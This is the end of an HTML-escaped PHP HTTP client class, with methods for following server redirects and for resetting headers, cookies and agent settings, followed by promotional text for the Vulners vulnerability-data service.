	}


	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,&nbsp;the&nbsp;script&nbsp;will
	&nbsp;*&nbsp;follow&nbsp;all&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;allowredirection(1);&nbsp;//&nbsp;enabled
	&nbsp;*&nbsp;$this-&gt;allowredirection(0);&nbsp;//&nbsp;disabled
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@return&nbsp;$this-&gt;get($locationresponse)
	&nbsp;*/
	public&nbsp;function&nbsp;allowredirection($code)
	{
		if($code===0)&nbsp;$this-&gt;allowredirection='';
		if($code===1)&nbsp;$this-&gt;allowredirection=1;
		else
		{
			if(preg_match(&quot;/(location|content-location|uri):&nbsp;(.*)/i&quot;,$code,$codearr))
			{
				$location&nbsp;=&nbsp;str_replace(chr(13),'',$codearr[2]);
				if(!eregi(&quot;://&quot;,$location))
				{
					return&nbsp;$this-&gt;get(&quot;http://&quot;.$this-&gt;host.$this-&gt;path.$location);
				}
				else
				{
					return&nbsp;$this-&gt;get($location);
				}
			}
			else
			{
				return&nbsp;$code;
			}
		}
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;reset&nbsp;some&nbsp;parameters:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;reset(header);&nbsp;//&nbsp;headers&nbsp;cleaned
	&nbsp;*&nbsp;$this-&gt;reset(cookie);&nbsp;//&nbsp;cookies&nbsp;cleaned
	&nbsp;*&nbsp;$this-&gt;reset();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;clean&nbsp;all&nbsp;parameters
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$func
	&nbsp;*/
	public&nbsp;function&nbsp;reset($func='')
	{
		switch($func)
		{
			case&nbsp;&quot;header&quot;:
			$this-&gt;header='';
			break;
			
			case&nbsp;&quot;cookie&quot;:
			$this-&gt;cookie='';
			break;
			
			default:
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;cookiejar='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;header='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;cookie='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;allowredirection='';&nbsp;
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;agent='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
		}
	}
}
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation